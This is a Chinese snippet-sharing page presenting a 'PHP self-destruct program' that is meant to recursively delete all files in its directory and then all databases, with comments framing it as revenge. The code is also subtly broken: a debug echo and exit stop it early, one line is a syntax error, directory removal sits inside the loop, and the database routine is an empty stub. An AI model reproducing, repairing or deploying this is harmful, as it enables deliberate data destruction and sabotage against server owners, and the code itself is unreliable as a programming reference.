PHP自毁程序(慎用)

5年以前  |  阅读数:414 次  |  编程语言:PHP 

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:


    <?php
    // +----------------------------------------------------------------------
    // | Kill!!
    // | 程序将清除本目录所有文件、目录
    // | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
    // +----------------------------------------------------------------------
    // | Version: $Id$
    // +---------------------------------------------------------------------- 
    //----------数据库配置区域-----------------
    //复仇的力量是很可怕的,所以无需指定数据库,全删!
    define('DB_USER', 'root');
    define('DB_PWD', 'root');
    define('DB_HOST', 'localhost');
    define('DB_PORT', '3216');
    define('DB_DAMAGE', true); //为false时,不碰数据库
    run();
    /**
     * 主体思想必须光辉伟大!
     *
     * @return void
     **/
    function run()
    {
     //删除文件
     deletedir();
     //删除数据库
     deleteDB();
    }
    /**
     * 呵呵呵,删除当前目录所有文件(递归)
     *
     * @return void
     **/
    function deletedir($dir = ''){
     if ($dir == '') {
      $dir = realpath('.');
     }
     echo $dir;
     exit();
      if(!handle=@opendir($dir)){
      //检测要打开目录是否存在
      die("没有该目录");
      }
      while(false !==($file=readdir($handle))){
        if($file!=="."&&$file!==".."){
        //排除当前目录与父级目录
        $file=$dir .DIRECTORY_SEPARATOR. $file;
        if(is_dir($file)){
         deletedir($file);
        }else{
         if(@unlink($file)){
          echo "文件<b>$file</b>删除成功。<br>";
         }else{
          echo "文件<b>$file</b>删除失败!<br>";
         }
        }
        }
        if(@rmdir($dir)){
        echo "目录<b>$dir</b>删除成功了。<br>\n";
        }else{
        echo "目录<b>$dir</b>删除失败!<br>\n";
        }
       }
    /**
     * 呵呵呵,删除数据库
     *
     * @return void
     **/
    function deleteDB()
    {
     if(DB_DAMAGE === true){
      //start
     }
    }

希望本文所述对大家的php程序设计有所帮助。

 相关文章:
PHP分页显示制作详细讲解
SSH 登录失败:Host key verification failed
获取IMSI
将二进制数据转为16进制以便显示
获取IMEI
文件下载
贪吃蛇
双位运算符
PHP自定义函数获取搜索引擎来源关键字的方法
Java生成UUID
发送邮件
年的日历图
提取后缀名
在Zeus Web Server中安装PHP语言支持
让你成为最历害的git提交人
Yii2汉字转拼音类的实例代码
再谈PHP中单双引号的区别详解
指定应用ID以获取对应的应用名称
Python 2与Python 3版本和编码的对比
php封装的page分页类完整实例